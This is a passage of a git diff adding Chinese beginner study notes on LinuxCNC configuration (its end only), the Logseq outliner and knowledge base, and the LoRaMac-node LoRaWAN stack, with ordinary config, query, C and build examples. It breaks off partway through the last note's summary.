读取配置变量——把机床参数带进程序里。 + +### 6. 与 Grbl / Klipper 的定位 + +| 维度 | Grbl | Klipper | LinuxCNC | +| --- | --- | --- | --- | +| 运行环境 | AVR MCU | Linux 主机 + MCU | Linux(实时内核/线程) | +| 配置 | `$` 串口设置 | `printer.cfg` | INI + HAL | +| 典型规模 | 小型雕刻机 | 3D 打印机 | 铣床、车床、等离子 | +| 扩展 I/O | 有限 GPIO | 多 MCU、CAN | Mesa、EtherCAT、Modbus | + +三者都解析 G-code,但 LinuxCNC 更偏 **通用机床集成商** 路线:Wizard 生成配置、HAL 搭逻辑、多种 GUI 面向不同人机场景。 + +## 代码示例 + +### 示例 1:INI 片段——声明 HAL 与单轴参数 + +下面是一个 **教学用** 的 INI 节选,展示如何指定 GUI、轨迹轴数,以及 X 轴行程与 HAL 加载顺序(字段名与官方 [INI Configuration](https://linuxcnc.org/docs/html/config/ini-config.html) 一致): + +```ini +[EMC] +VERSION = 1.1 +MACHINE = My_Mill +DEBUG = 0 + +[DISPLAY] +DISPLAY = axis +POSITION_OFFSET = RELATIVE +POSITION_FEEDBACK = ACTUAL +MAX_FEED_OVERRIDE = 1.2 +MAX_SPINDLE_OVERRIDE = 1.0 + +[TRAJ] +COORDINATES = X Y Z +LINEAR_UNITS = mm +ANGULAR_UNITS = degree +DEFAULT_LINEAR_VELOCITY = 6.0 +MAX_LINEAR_VELOCITY = 25.0 +NO_FORCE_HOMING = 1 + +[AXIS_0] +TYPE = LINEAR +HOME = 0.0 +MAX_VELOCITY = 15.0 +MAX_ACCELERATION = 200.0 +MIN_LIMIT = -0.01 +MAX_LIMIT = 300.0 + +[HAL] +TWOPASS = ON +HALFILE = core_stepper.hal +HALFILE = my_mill_pinout.hal +HALFILE = custom.hal +POSTGUI_HALFILE = custom_postgui.hal +``` + +解读:`TWOPASS = ON` 让多个 `loadrt` 可先汇总再执行,避免组件重复加载顺序问题;`core_stepper.hal` 通常是通用步进逻辑,`my_mill_pinout.hal` 把 `stepgen` 接到具体并口或 Mesa 引脚。 + +### 示例 2:HAL 片段——限位、步进与并口接线 + +来自官方 HAL 文档风格的 **典型并口 3 轴** 接线(`net` 方向箭头仅便于人类阅读): + +```hal +# 加载并口与步进发生器(实际配置常由 Wizard 生成) +loadrt [EMCMOT]EMCMOT base_period_nsec=50000 servo_period_nsec=1000000 num_joints=3 +loadrt stepgen step_type=0,0,0 +loadrt parport cfg="0x378 in" + +addf parport.0.read base-thread +addf stepgen.make-pulses base-thread +addf parport.0.write base-thread +addf motion-command-handler servo-thread +addf motion-controller servo-thread + +# X 轴:关节反馈 ↔ 步进发生器 ↔ 并口引脚 +net xpos-cmd joint.0.motor-pos-cmd => stepgen.0.position-cmd +net xpos-fb stepgen.0.position-fb => joint.0.motor-pos-fb +net xenable joint.0.amp-enable-out => stepgen.0.enable +net xstep <= stepgen.0.step +net xdir <= stepgen.0.dir +net xstep => parport.0.pin-02-out +net xdir => parport.0.pin-03-out + +# X 轴 home 开关:并口输入 → 关节 home 引脚 +net home-x joint.0.home-sw-in <= parport.0.pin-11-in + +# 逻辑门示例:两路输入都为真时点亮输出(冷却或指示灯) +loadrt and2 count=1 +addf and2.0 servo-thread +net flood-btn parport.0.pin-12-in => and2.0.in0 +net mist-btn parport.0.pin-13-in => and2.0.in1 +net coolant-on parport.0.pin-14-out <= and2.0.out +``` + +读懂这段 HAL,就等于读懂 LinuxCNC 一半集成工作:**运动模块的 joint 引脚** 通过 **信号名** 接到 **stepgen** 和 **物理引脚**;辅助逻辑用 `and2` 等实时组件挂在 **servo-thread**。 + +### 示例 3:MDI / 程序中的 G-code + +对刀与设工件坐标系在车间里极常见,可在 MDI 或 `nc_files/` 程序中使用: + +```gcode +(G54 工件坐标:Z 轴探针对刀后写入偏移) +G21 (毫米模式) +G90 (绝对坐标) +G38.2 Z-20 F50 (探针向下,碰到工件停止) +G10 L20 P1 Z0 (把当前探针接触点设为 G54 的 Z0) +G0 Z5 (抬刀到安全高度) +M2 (程序结束) +``` + +`G38.2` 探针移动需 INI/HAL 中已配置探针输入引脚并接到 `motion` 的 probe 相关信号;这是 **软件配置 + 物理探针** 协同的典型场景。 + +## 配置目录与启动 + +安装或 Live 环境下,配置常位于: + +``` +/home//linuxcnc/configs// + .ini # 主配置 + .hal # Wizard 生成的主 HAL + custom.hal # 用户扩展(GUI 前加载) + custom_postgui.hal # GUI 后加载(PyVCP / 面板) + tool.tbl # 刀表(可选) + nc_files/ # G-code 示例与加工程序 +``` + +启动方式: + +- 菜单 **LinuxCNC 配置选择器** 点选配置; +- 或命令行:`linuxcnc /path/to/my_mill.ini`(`linuxcnc -h` 查看选项)。 + +仿真配置在源码树 `configs/sim/` 下,例如 `sim/axis/vismach/` 可在 **无真实机床** 时学习 GUI 与换刀动画。 + +## 学习路径(零基础) + +1. **装仿真**:用官方 Live ISO 或 deb 包,选 `sim/axis` 配置启动 AXIS,熟悉 Manual / Auto / MDI 与急停。 +2. **读 INI**:对照自己的轴行程、`MAX_VELOCITY`,理解 `[AXIS_n]` 与 `[TRAJ]`,勿在未回零时超软限位。 +3. **玩 HAL**:`halcmd show pin`、`halscope` 或 AXIS 菜单 **Machine → HAL Configuration**,观察 `joint.*`、`stepgen.*` 随点动变化。 +4. **改 `custom.hal`**:先加指示灯或 `and2` 联锁,确认能启动再动步进接线。 +5. **读 Integrator Manual**:接 Mesa、EtherCAT、Modbus 主轴时查 [Supported Hardware](https://wiki.linuxcnc.org/) 与对应 Wizard。 +6. **安全**:软件急停不能替代 **硬件切断电机电源**;文档 DISCLAIMER 明确要求符合当地机械安全规范。 + +## 延伸阅读 + +- 官方文档索引: +- 用户入门: +- HAL 基础: +- INI 参考: +- 论坛: +- 本仓库相关笔记:[[grbl]](轻量串口固件)、[[klipper]](主机+MCU 3D 打印架构)、[[marlin]](一体 MCU 打印固件) + +## 小结 + +LinuxCNC 不是「又一个 G-code 播放器」,而是 **可组装的机床控制操作系统**:INI 描述机床能力与文件布局,HAL 描述电气与逻辑接线,GUI 服务不同操作场景,实时模块保证运动与 I/O 时序。零基础学习时,用 **日常类比** 抓住「调度中心 + 接线间 + 面板」,再在仿真里 **改 INI 数值、加 HAL 网线、跑 MDI 探针**,比死记命令表更快建立直觉。真正上机前,务必确认硬件急停、限位与驱动器使能链路——软件再成熟,也只是机床安全链中的一环。 diff --git a/src/content/docs/projects/logseq.md b/src/content/docs/projects/logseq.md new file mode 100644 index 000000000..cd2c6a0db --- /dev/null +++ b/src/content/docs/projects/logseq.md @@ -0,0 +1,258 @@ +--- +title: Logseq — 块结构离线知识库 +来源: https://github.com/logseq/logseq +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:把大脑里的「念头清单」变成可搜索、可连线的知识网 + +想象你在开会时随手记 bullet:每一行是一个想法,按 Tab 缩进表示「这条属于上一条」;某几个词你圈出来,表示「以后还要专门写一页讲它」。会后你不只是翻那一页纸,还想问:**「所有提到张三、又和预算有关的地方在哪?」** + +传统 Word 文档像一篇长作文——改结构要剪切粘贴。**Logseq 像一叠可无限嵌套的索引卡片**:每一行(块)有唯一编号,卡片之间用 `[[页面名]]` 和 `((块编号))` 互相指向;你缩进层级、打标签、写属性,软件在本地帮你维护一张 **知识图谱**,并可用查询把符合条件的卡片「捞」出来。 + +Logseq 是开源的 **隐私优先** 知识管理与协作平台([logseq/logseq](https://github.com/logseq/logseq)),桌面端把笔记存成 **Markdown 或 Org-mode 纯文本**(默认在本地文件夹),离线可用、数据归你;同时提供 PDF 批注、任务管理(TODO/DOING/DONE)、白board、插件与主题生态。零基础路径:**安装 → 选本地图目录 → 写 Journal 日记 → 用 Tab 缩进与 `[[链接]]` → 打开 Linked References → 试一条简单 query**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:文件夹式笔记「只能按路径找」,联想路径断了 + +按 `2024/项目A/meeting.md` 归档,三个月后你记得讨论过「缓存策略」,却想不起在哪个文件夹。Logseq 用 **双向链接**:你在任意块里写 `[[缓存策略]]`,该页面会自动出现 **Linked References**(谁链到了我),网状检索补全「我当时从哪条思路链过来的」。 + +### 痛点 2:大纲编辑器与 Markdown 文件各走各路 + +很多大纲工具数据锁在专有格式里。Logseq **块在 UI 里编辑,落盘仍是 .md/.org**,可用 Git 版本管理、用任意编辑器打开,避免供应商锁定。 + +### 痛点 3:任务、日记、文献笔记分散在三个 App + +Logseq 在同一张图里用 **Journal(日记页)** 捕获流水账,用 **TODO 块** 跟踪任务,用 **属性(property)** 给书摘、项目页加结构化字段,再用 **query** 汇总「本周 DOING 且优先级 A」——减少工具切换。 + +### 痛点 4:需要离线、可控的个人知识库 + +笔记默认存在本机 graph 目录,不依赖持续联网。官方强调 longevity 与 user control;进阶用户还可通过插件 API([plugins-doc.logseq.com](https://plugins-doc.logseq.com))扩展。新版本另有 **DB graph**(SQLite + 更强查询/同步),与经典 **文件 graph** 并存,入门可先只关心文件版。 + +--- + +## 核心概念拆解 + +### 1. Graph(图)与工作区 + +一个 **graph** 是一整套相互链接的笔记数据。首次启动时选择或新建文件夹作为 graph 根目录;其中 `pages/`、`journals/`、`logseq/` 等子目录由软件维护。**换电脑时拷贝整个文件夹 + 用同版本 Logseq 打开**,即迁移完成。 + +### 2. Block(块)——最小信息单元 + +Logseq 里 **一切皆块**:日记里的一行 bullet、页面标题下的第一条、任务项、属性行,都是 block。每个块有 **UUID**,可用 `((uuid))` 精确引用,不怕改文字后链接失效。 + +块通过 **缩进(Tab / Shift+Tab)** 形成父子树;**子块会继承父块中的页面引用与标签**(属性不继承),这是简单查询能「沿结构搜到深层内容」的关键。 + +### 3. Page(页面)与 Journal(日记) + +- **Page**:主题容器,用 `[[页面名]]` 引用时若不存在会自动创建。 +- **Journal**:按日期自动生成的日记页(类似 Daily Note),适合 inbox 与当日日志。 + +页面与日记在文件 graph 里最终都对应 Markdown/Org 文件;在 UI 里体验一致。 + +### 4. 链接、标签与嵌入 + +| 机制 | 语法 | 作用 | +|------|------|------| +| 页面链接 | `[[Logseq]]` | 连到页面,产生双向 Linked References | +| 块引用 | `((block-uuid))` | 指向具体一块,内容更新后引用处同步 | +| 标签 | `#tag` 或 `#[[多词标签]]` | 跨页面分类,可进图谱筛选 | +| 页面嵌入 | `{{embed [[某页]]}}` | 把整页内容嵌进当前块下 | +| 块嵌入 | `{{embed ((uuid))}}` | 嵌入某块及其子块 | + +### 5. Properties(属性) + +在块上写 `键:: 值` 形成结构化元数据,例如 `author:: [[Alan Kay]]`、`type:: book`。页面级属性通常放在页面 **第一个块**(类似 frontmatter)。属性可用于 **简单查询** `(property type book)`,并在结果里表格化展示。 + +### 6. 任务(Task)状态 + +块首可用 `TODO` / `DOING` / `DONE` / `WAITING` 等标记(可配置)。配合 `priority:: A` 与 query,可建项目看板,而不必另开任务 App。 + +### 7. 查询(Query) + +- **简单查询**:`(and [[项目X]] TODO)`,适合日常过滤。 +- **高级查询**:`#+BEGIN_QUERY` … `#+END_QUERY`,内写 Datalog 风格规则,可统计、聚合、自定义逻辑(见官方 [Advanced Queries](https://github.com/logseq/docs/blob/master/pages/Advanced%20Queries.md))。 + +### 8. 配置 `config.edn` + +`logseq/config.edn` 是 graph 级 Clojure 风格配置(EDN),控制默认模板、快捷键、属性行为、journal 格式等;改完后在 Logseq 里重载配置生效。 + +### 9. Logseq 不是什么 + +它不是传统文件夹式 CMS,也不是 Excel 式表格数据库;**强项是块级链接 + 大纲 + 本地文本**,复杂报表级 SQL 分析仍应导出到专用工具。入门时应用好缩进、链接、日记与简单 query,比一上来写 Datalog 更重要。 + +--- + +## 安装与第一次打开 + +### 桌面端(推荐入门) + +1. 打开 [GitHub Releases](https://github.com/logseq/logseq/releases) 下载 macOS / Windows / Linux 安装包。 +2. 首次启动选择 **Create a new graph**,指定空文件夹(建议放在已做 Time Machine / Git 备份的位置)。 +3. 设置 → **Editor**:确认 preferred format 为 **Markdown**(或 Org,二选一为主)。 +4. 点击左侧 **Journals**,在今日页输入第一行块,试 `Tab` 缩进与 `[[我的第一个概念]]`。 +5. 打开刚链接的页面,查看底部 **Linked References** 是否出现来自日记的回链。 + +### 可选:命令行 + +仓库内维护 CLI 文档(`docs/cli/logseq-cli.md`),适合脚本化导出或与自动化工作流集成;零基础可跳过。 + +--- + +## 代码示例 1:块结构 Markdown 笔记(文件 graph 落盘形态) + +下面模拟 graph 里 `pages/间隔重复.md` 在磁盘上的大致样子(Logseq 会自动补 UUID 与缩进,此处为便于阅读的简化示意): + +```markdown +- type:: [[permanent-note]] + tags:: learning, pkm +- # 间隔重复与图谱笔记解决不同问题 +- 间隔重复优化 **记忆保持**;块结构图谱(Logseq)优化 **关系发现**。 + - 二者互补:闪卡适合事实,图谱适合假设与项目脉络。 +- ## 关联 + - 上游:[[Zettelkasten]]、[[Building a Second Brain]] + - 工具:[[Logseq]] vs [[Obsidian]] — 我更需要 **大纲 + 块引用** 与 **本地 md** + - 待写:[[如何把 Anki 卡片链回文献块]] +- ## 来源 + - 摘自 [[book-make-it-stick-2014]] 第 2 章 + id:: 63bc5e11-24f1-45fd-945d-4a272e5ecf0d +``` + +**阅读要点:** + +- 每行以 `-` 开头即一块;子块多一级缩进。 +- `type::`、`tags::` 是属性;`[[书]]` 在属性值里也会变成页面链接。 +- 带 `id::` 的块可被 `((63bc5e11-24f1-45fd-945d-4a272e5ecf0d))` 引用(实际 UUID 以软件生成为准)。 +- 在 UI 中打开 [[间隔重复]] 时,Linked References 会列出所有提到它的块。 + +--- + +## 代码示例 2:Journal 捕获 + 简单查询块 + +### 今日 Journal 片段(输入在 Logseq 编辑器内) + +```markdown +- TODO 整理 [[Logseq]] 学习笔记 #study + priority:: A + scheduled:: 20260613 +- 会议 [[项目 Phoenix]] + - 讨论 [[缓存策略]]:读多写少,先上 [[Redis]] + - DOING 写一页 [[Phoenix 性能基线]] 的测试清单 +- 读 [[论文 Logseq 块模型]] 摘要 + type:: literature + author:: [[某作者]] +``` + +### 嵌入页面的简单查询(查询本身也是一块) + +在任意页面插入下面块,Logseq 会动态列出匹配块: + +```markdown +- {{query (and (todo TODO) (priority A))}} +``` + +再进阶一点——统计当前页块数量(高级 query,摘自官方文档模式): + +```markdown +#+BEGIN_QUERY +{:title "当前页面的块数量" + :query [:find (count ?b) + :in $ ?current-page + :where + [?p :block/name ?current-page] + [?b :block/page ?p]] + :inputs [:current-page]} +#+END_QUERY +``` + +**阅读要点:** + +- `(todo TODO)` 过滤任务行;与 `(priority A)` 用 `and` 组合。 +- 子块上的 `[[项目 Phoenix]]` 会因 **继承** 出现在项目页的 Linked References 里。 +- `(property type literature)` 可单独筛文献类块;属性 **不会** 继承到子块,适合精确筛选。 +- 高级 query 用 `inputs [:current-page]` 表示「在当前页上下文中计数」。 + +--- + +## 代码示例 3:`logseq/config.edn` 片段(可选定制) + +```clojure +{:preferred-format :markdown + :journal/page-name-format "yyyy-MM-dd" + :journal/file-name-format "yyyy_MM_dd" + :feature/enable-block-timestamps? true + :default-templates + {:j "--- + tags:: journal + ---" + :p "type:: project\nstatus:: active"} + :property-pages/enabled? true} +``` + +说明:`:default-templates` 里 `:j` / `:p` 可给日记与新页注入默认属性;时间戳开关便于回顾「何时写了这块」。修改前建议备份整个 graph 目录。 + +--- + +## 推荐工作流(零基础 7 天) + +| 天 | 动作 | 目标 | +|----|------|------| +| 1 | 只写 Journal,不写页面 | 熟悉块、缩进、TODO | +| 2 | 把重复出现的词改成 `[[页面]]` | 感受 Linked References | +| 3 | 用 `#tag` 标记 3 个主题 | 图谱里按 tag 浏览 | +| 4 | 给书摘块加 `author::` / `type::` | 理解 property | +| 5 | 复制块引用 `((uuid))` 到综述页 | 块级复用 | +| 6 | 写一条 `(and [[某项目]] TODO)` | 简单 query | +| 7 | 整个 graph 文件夹进 Git 私有库 | 备份与版本习惯 | + +--- + +## 与相近工具对比(简表) + +| 维度 | Logseq | Obsidian | Roam Research | +|------|--------|----------|---------------| +| 核心单元 | 块 + 大纲 | 文件 + 可选块 | 块 | +| 本地纯文本 | ✅ md/org | ✅ md | ❌ 云端为主 | +| 大纲编辑 | 原生 | 需插件 | 原生 | +| 离线 | ✅ | ✅ | 有限 | +| 开源 | ✅ | 闭源免费 | 闭源订阅 | + +若你已在 VS Code 用 Foam 写 wikilink,迁移时可 **导入现有 md 文件夹为 graph**,再逐步把长文档拆成块与缩进结构。 + +--- + +## 常见问题 + +**Q:块和页面到底是什么关系?** +页面是命名空间;页面上每一行(含标题下第一块)仍是块。日记页也是特殊页面。 + +**Q:删块会影响引用吗?** +被 `((uuid))` 引用的块删除后,引用处会失效;习惯上可改为 `DONE` 或移到归档页,而非硬删。 + +**Q:文件 graph 和 DB graph 选哪个?** +学习笔记、本地 Git 备份优先选 **经典文件 graph**;需要移动端 RTC 同步、强类型属性时再了解 DB 版(见官方 DB 文档)。 + +**Q:数据存在哪?** +创建 graph 时选的目录;macOS 常见在 `~/Library/Mobile Documents/iCloud~...` 若你放在 iCloud,注意同步冲突,重要 graph 建议 Git。 + +--- + +## 延伸资源 + +- 官方文档:[docs.logseq.com](https://docs.logseq.com) +- 社区文档仓库:[logseq/docs](https://github.com/logseq/docs)(Properties、Advanced Queries 等) +- 插件开发:[plugins-doc.logseq.com](https://plugins-doc.logseq.com) +- 发布与路线图:[logseq.io](https://logseq.io) / [GitHub Releases](https://github.com/logseq/logseq/releases) +- 讨论区:[discuss.logseq.com](https://discuss.logseq.com)(块继承、查询模式有大量实战帖) + +--- + +## 小结 + +Logseq 把 **outline 式记录** 与 **wikilink 知识图谱** 合成在同一套 **离线、块级、可查询** 的系统里:Tab 缩进表达结构,`[[页面]]` 与 `#标签` 表达关联,`property::` 与 query 表达结构化管理。入门只需今日 Journal 开始写;熟练后块引用与查询会把零散日记收成可导航的第二大脑。数据在本地 Markdown 里,**你拥有图的全部节点与边**——这也是它作为「块结构离线知识库」最核心的承诺。 diff --git a/src/content/docs/projects/lora-mac-node.md b/src/content/docs/projects/lora-mac-node.md new file mode 100644 index 000000000..7a71ef1ca --- /dev/null +++ b/src/content/docs/projects/lora-mac-node.md @@ -0,0 +1,244 @@ +--- +title: LoRaMac-node — LoRaWAN 终端协议栈参考实现零基础学习笔记 +来源: 'https://github.com/Lora-net/LoRaMac-node' +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +**LoRaMac-node** 是 LoRa Alliance 成员 Semtech / Stackforce 维护的 **LoRaWAN 终端(End-Device)协议栈参考实现**,仓库地址 [Lora-net/LoRaMac-node](https://github.com/Lora-net/LoRaMac-node)。它用 C 语言完整实现了 LoRaWAN L2 规范(1.0.4 / 1.1.0 等分支)、区域参数(Regional Parameters)、Class A/B/C 三种设备类,并附带 SX127x、SX126x、LR1110 等射频驱动与多款开发板示例。 + +日常类比:**小区门禁系统里的「住户端 App + 对讲机固件」**。 + +想象一栋 LoRa 物联网「小区」:网关是物业前台,网络服务器是总部调度中心,而你的温湿度传感器、水表、烟感就是住户。住户不能自己随便选频道、随便喊话——必须按章程(LoRaWAN 规范)先登记入网(Join),再在规定窗口收发信件(上行/下行),还要遵守各国无线电法规(EU868、US915 等频段与占空比)。**LoRaMac-node 就是这套章程在 MCU 里的完整落地代码**:加密、帧格式、入网、ADR、Class B 信标同步……你不用从零写 MAC 层,只需填 DevEUI、写应用 payload、选开发板编译烧录。 + +> **维护状态(2024 起)**:Semtech 已将新功能开发迁移到 **LoRa Basics Modem**;LoRaMac-node 进入 **maintenance mode**(仍修关键 bug,但不追新特性如 Relay、CSMA、LoRaWAN 1.2)。**存量项目与教学仍极有价值**;全新量产设计官方更推荐 LoRa Basics Modem。 + +## 解决什么问题 + +LoRa 物理层(Semtech 的 LoRa 调制)只解决「远距离、低功耗传比特」;要组成可运营的大规模 IoT 网络,还需要 MAC 层以上的 LoRaWAN:**OTAA/ABP 激活、帧计数防重放、AES 加解密、自适应速率 ADR、多区域合规、Class B/C 下行调度**。自己实现一遍 MAC 既容易与认证测试不一致,又难以跟进 Alliance errata。 + +LoRaMac-node 的定位是: + +| 角色 | 说明 | +| --- | --- | +| **规范对照实现** | 与 LoRaWAN Spec / RP 文档一一对应,便于理解「标准到底长什么样」 | +| **认证参考** | 各 `LoRaMac/*` 示例内置 LoRa Alliance 认证协议实现 | +| **可移植栈** | 分层清晰:Radio / Region / MAC / Handler,换芯片主要动 Board + Radio | +| **学习样板** | Doxygen 文档: | + +## 协议栈分层 + +从下到上,可以把仓库理解成五层: + +``` +应用层 LmHandler + periodic-uplink-lpp / fuota-test-01 等示例 + ↓ +MAC 核心 LoRaMac.c — 状态机、MCPS/MLME、MAC 命令、Join/Rejoin + ↓ +安全 LoRaMacCrypto + Secure Element(soft-se / lr1110-se / ATECC608A) + ↓ +区域 Region/ — EU868、US915、AS923… 信道、功率、占空比 + ↓ +射频 radio/ — SX1272/73、SX1276/77/78/79、SX1261/2、LR1110 驱动 + ↓ +板级 boards/ — Nucleo、B-L072Z-LRWAN1、SAMR34、SKiM 等 BSP + Timer/RTC +``` + +上层应用**不应直接**频繁调用 `Radio.Send()` 发裸 LoRa 包(那是 `ping-pong` 示例做的事);LoRaWAN 应用应走 **MCPS 发数据、MLME 管网络** 的 API 或更封装一层的 **LmHandler**。 + +## 核心概念 + +### 1. MCPS 与 MLME:两套「服务窗口」 + +LoRaMAC API 借鉴 IEEE 802.15.4 的 **Request → Confirm** 与 **Indication → Response** 原语: + +| 服务 | 全称 | 典型用途 | +| --- | --- | --- | +| **MCPS** | MAC Common Part Sublayer | 发/收应用数据(Confirmed / Unconfirmed) | +| **MLME** | MAC Layer Management Entity | Join、LinkCheck、Class 切换、DevStatus 等管理 | +| **MIB** | MAC Information Base | 读写 DevAddr、密钥、区域、Class 等运行时配置 | + +记忆口诀:**MCPS 运货,MLME 办手续,MIB 查户口。** + +### 2. Class A / B / C:设备「有多闲才能听下行」 + +| Class | 行为 | 典型场景 | +| --- | --- | --- | +| **A** | 每次上行后开两个短 RX 窗口收下行;其余时间可睡 | 电池传感器(默认) | +| **B** | 在 A 基础上,按网关信标在固定时刻开 ping-slot | 需定时下行调度 | +| **C** | 几乎持续 RX,只有发上行时短暂关闭 | 有电插座、执行器 | + +Class A 最省电;Class C 下行延迟最低但功耗最高。示例 `periodic-uplink-lpp` 可通过 CMake 的 `LORAWAN_DEFAULT_CLASS` 与 `CLASSB_ENABLED` 配置。 + +### 3. OTAA vs ABP:两种「入户方式」 + +- **OTAA(Over-The-Air Activation)**:设备带 DevEUI / JoinEUI / AppKey 上电发 Join-Request,网络下发 Join-Accept 并分配 DevAddr 与会话密钥。**可更换网络、可量产烧录统一固件**,推荐方式。 +- **ABP(Activation By Personalization)**:DevAddr 与密钥预先写死,跳过 Join。**调试快**,但密钥泄露风险高、不利于大规模运维。 + +LoRaMac-node 通过 `CommissioningParams.IsOtaaActivation` 与 `LmHandlerJoin()` 统一入口;ABP 设备调用 Join 实际是 pass-through。 + +### 4. Regional Parameters:同一套栈,不同国家不同「交规」 + +`ACTIVE_REGION` 与 `REGION_EU868` 等 CMake 开关决定编译进哪些 Region 实现。EU868 默认若干信道与 1% 占空比;US915 用 64+8 信道方案;AS923 还分子频段。**选错 Region 的表现往往是 Join 成功但上行全丢、或 duty-cycle 报错**——这不是射频坏了,是「交规」不对。 + +### 5. Secure Element:密钥放在哪 + +仓库支持三种抽象: + +| 实现 | 说明 | +| --- | --- | +| `soft-se` | 密钥在 Flash/RAM,开发常用 | +| `lr1110-se` | LR1110 片上安全区 | +| `atecc608a-tnglora-se` | Microchip ATECC608A-TNGLORA 预置证书,不可改写 | + +量产应倾向硬件 SE;学习阶段 `soft-se` 足够。 + +### 6. LmHandler:应用层的「大堂经理」 + +直接调 `LoRaMacMcpsRequest()` 可行但样板代码普遍用 **LmHandler**:封装 Join、Send、Class 切换、NVM 存储、回调通知。示例 `periodic-uplink-lpp` 演示定时上行 **Cayenne LPP** 编码温湿度——这是最常见的应用骨架。 + +## 代码示例 + +### 示例 1:注册回调并完成 OTAA Join + +以下片段摘自 `periodic-uplink-lpp` 各板型 `main.c` 的通用模式:先挂回调,入网成功后申请目标 Class。 + +```c +static void OnJoinRequest(LmHandlerJoinParams_t *params) +{ + if (params->Status == LORAMAC_HANDLER_ERROR) { + /* Join 失败则重试 */ + LmHandlerJoin(); + } else { + /* 入网成功,切换到编译期默认 Class(A/B/C) */ + LmHandlerRequestClass(LORAWAN_DEFAULT_CLASS); + } +} + +static LmHandlerCallbacks_t LmHandlerCallbacks = { + .GetBatteryLevel = BoardGetBatteryLevel, + .GetRandomSeed = BoardGetRandomSeed, + .OnMacProcess = OnMacProcessNotify, /* 驱动 LoRaMacProcess() */ + .OnJoinRequest = OnJoinRequest, + .OnTxData = OnTxData, + .OnRxData = OnRxData, + .OnClassChange = OnClassChange, + /* … 其余回调可置 NULL … */ +}; + +int main(void) +{ + BoardInitMcu(); + LmHandlerInit(&LmHandlerCallbacks, &LmHandlerParams); + LmHandlerConfigure(&LmHandlerParams); + LmHandlerJoin(); /* 启动 OTAA 或 ABP */ + while (1) { + LmHandlerProcess(); /* 必须在主循环或 RTOS 任务中周期调用 */ + } +} +``` + +要点:`OnMacProcessNotify` 里应调用 `LmHandlerProcess()`(或 `LoRaMacProcess()`),否则 MAC 状态机不推进,Join 永远卡住。 + +### 示例 2:构造应用数据并发送(MCPS) + +LmHandler 内部将应用数据转为 MCPS 请求;等价逻辑如下(摘自 `LmHandler.c` 思路): + +```c +LmHandlerErrorStatus_t SendSensorUplink(uint8_t *payload, uint8_t len) +{ + if (LmHandlerJoinStatus() != LORAMAC_HANDLER_SET) { + LmHandlerJoin(); + return LORAMAC_HANDLER_ERROR; + } + + LmHandlerAppData_t appData = { + .Port = 2, /* LoRaWAN FPort,0 保留给 MAC 命令 */ + .Buffer = payload, + .BufferSize = len, + }; + + /* LORAMAC_HANDLER_UNCONFIRMED_MSG:省下行确认、适合高频遥测 */ + return LmHandlerSend(&appData, LORAMAC_HANDLER_UNCONFIRMED_MSG); +} +``` + +若需 **可靠送达**(网络会回 Ack,可触发重传),改用 `LORAMAC_HANDLER_CONFIRMED_MSG`。发送前栈会调用 `LoRaMacQueryTxPossible()` 检查 payload 是否超过当前 DR 的 MAC 帧上限;过长时会先发空帧 flush MAC 命令队列。 + +### 示例 3:CMake 构建 periodic-uplink-lpp(EU868 + LR1110) + +官方 README 推荐 CMake 交叉编译,典型命令: + +```bash +git clone https://github.com/lora-net/loramac-node.git loramac-node +cd loramac-node +git submodule update --init + +mkdir build && cd build +cmake -DCMAKE_BUILD_TYPE=Release \ + -DCMAKE_TOOLCHAIN_FILE="../cmake/toolchain-arm-none-eabi.cmake" \ + -DAPPLICATION="LoRaMac" \ + -DSUB_PROJECT="periodic-uplink-lpp" \ + -DCLASSB_ENABLED="ON" \ + -DACTIVE_REGION="LORAMAC_REGION_EU868" \ + -DREGION_EU868="ON" \ + -DBOARD="NucleoL476" \ + -DRADIO="LR1110" \ + -DSECURE_ELEMENT="LR1110_SE" \ + .. +make -j$(nproc) +``` + +烧录前在 `se-identity.h` 或相应 commissioning 头文件中填入与 ChirpStack / TTN / 私有 NS 一致的 **DevEUI、JoinEUI、AppKey**(OTAA)或 ABP 参数。 + +## 仓库里还有哪些示例 + +| 路径 | 用途 | +| --- | --- | +| `LoRaMac/periodic-uplink-lpp` | Class A/B/C 周期上行 + Cayenne LPP | +| `LoRaMac/fuota-test-01` | FUOTA 固件升级测试场景 | +| `ping-pong` | 纯 LoRa 点对点,**不经过 LoRaWAN** | +| `rx-sensi` / `tx-cw` | 射频灵敏度、连续波实验室测试 | + +Certification 相关逻辑已嵌入 LoRaMac 应用公共包,对接 Alliance 测试工具时有参考价值。 + +## 与相关项目的关系 + +- **LoRa Basics Modem**:Semtech 新栈,支持 Relay、CSMA 等新特性;新设计优先评估。 +- **[[zephyr]] / [[sdk-nrf]]**:Nordic NCS 等可通过 Zephyr 模块集成 LoRaWAN,部分产品不再直接裸用 LoRaMac-node,但 MAC 概念相通。 +- **ChirpStack / The Things Stack**:开源或商业 **LoRaWAN Network Server**;终端侧 LoRaMac-node 与之通过 air interface 对接,无直接代码依赖。 +- **[[tinygo]]**:Go 语言嵌入式路线;若要坚持 C 栈 + 多射频参考实现,LoRaMac-node 仍是教科书级选择。 + +## 常见问题 + +**Join 一直超时** + +- 检查 DevEUI / JoinEUI / AppKey 字节序(LoRaWAN 常要求 MSB 显示与代码数组顺序一致)。 +- 确认 `ACTIVE_REGION`、天线、网关是否在相同频段(如 EU868 vs US915)。 +- 串口日志看 MLME-Confirm 的 `Status` 与 duty-cycle 等待时间。 + +**上行有日志但 NS 收不到** + +- FPort、MIC、帧计数 FCntUp 不同步(ABP 手动配帧计数)。 +- 网关与 NS 之间的 IP 链路或 routing 问题(终端 MAC 可能已成功)。 + +**Class B 不工作** + +- 需 `CLASSB_ENABLED=ON`,且网络下发 Beacon 配置;GPS 或精确时间源影响同步。 + +## 学习路径建议 + +1. 读 Wiki: 与 Doxygen 的 Quick-Start / Porting Guide。 +2. 用 `soft-se` + 手头 Nucleo / ST 官方 LoRa 板编译 `periodic-uplink-lpp`,对接一个免费 NS(如 TTN v3)。 +3. 串口打开 `ACTIVE_REGION` 对应 trace,观察 **Join → MCPS Confirm → RX 窗口** 时序。 +4. 再读 `src/mac/LoRaMac.c` 里 `LoRaMacHandleMcpsRequest` / MLME Join 分支,对照 LoRaWAN 1.0.4 PDF 的 MAC 帧图。 +5. 若做量产,评估是否迁移 **LoRa Basics Modem**,或选用芯片厂 SDK 中已集成的栈。 + +## 小结 + +LoRaMac-node 是理解 **LoRaWAN 终端侧** 